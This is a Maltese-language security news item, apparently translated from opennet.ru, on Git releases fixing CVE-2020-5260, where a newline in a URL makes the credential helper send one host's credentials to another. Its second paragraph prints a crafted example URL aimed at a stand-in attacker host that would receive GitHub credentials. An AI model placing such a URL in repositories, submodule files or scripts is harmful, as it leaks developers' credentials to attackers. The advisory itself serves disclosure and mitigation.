Vulnerabilità tat-tnixxija tal-kredenzjali Git

Ippubblikat rilaxxi korrettivi tas-sistema ta' kontroll tas-sors distribwit Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 u 2.17.4, in li eliminati vulnerabbiltà (CVE-2020-5260) fil-handler "kredenzjali.helper", li tikkawża li l-kredenzjali jintbagħtu lill-host ħażin meta klijent git jaċċessa repożitorju billi juża URL ifformattjat apposta li jkun fih karattru newline. Il-vulnerabbiltà tista 'tintuża biex tirranġa biex il-kredenzjali minn host ieħor jintbagħtu lil server ikkontrollat ​​mill-attakkant.

Meta tispeċifika URL bħal "https://evil.com?%0ahost=github.com/", l-immaniġġjar tal-kredenzjali meta jikkonnettja mal-host evil.com se jgħaddi l-parametri ta 'awtentikazzjoni speċifikati għal github.com. Il-problema sseħħ meta jsiru operazzjonijiet bħal "git clone", inkluż l-ipproċessar tal-URLs għas-submoduli (pereżempju, "git submodule update" awtomatikament jipproċessa l-URLs speċifikati fil-fajl .gitmodules mir-repożitorju). Il-vulnerabbiltà hija l-aktar perikoluża f'sitwazzjonijiet fejn żviluppatur jikklona repożitorju mingħajr ma jara l-URL, pereżempju, meta jaħdem b'submoduli, jew f'sistemi li jwettqu azzjonijiet awtomatiċi, pereżempju, fi skripts tal-bini tal-pakketti.

Biex timblokka l-vulnerabbiltajiet f'verżjonijiet ġodda projbit tgħaddi karattru linja ġdida fi kwalunkwe valuri trażmessi permezz tal-protokoll tal-iskambju tal-kredenzjali. Għal distribuzzjonijiet, tista 'ssegwi r-rilaxx tal-aġġornamenti tal-pakketti fuq il-paġni Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, arch, FreeBSD.

Bħala soluzzjoni biex timblokka l-problema rakkomandat Tużax credential.helper meta taċċessa repożitorji pubbliċi u tużax "git clone" fil-mod "--recurse-submodules" b'repożitorji mhux ikkontrollati. Biex tiddiżattiva kompletament il-credential.helper handler, li jagħmel preservazzjoni u l-irkupru tal-passwords minn cache, protett repożitorji jew fajl bil-passwords, tista' tuża l-kmandi:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Sors: opennet.ru

Żid kumment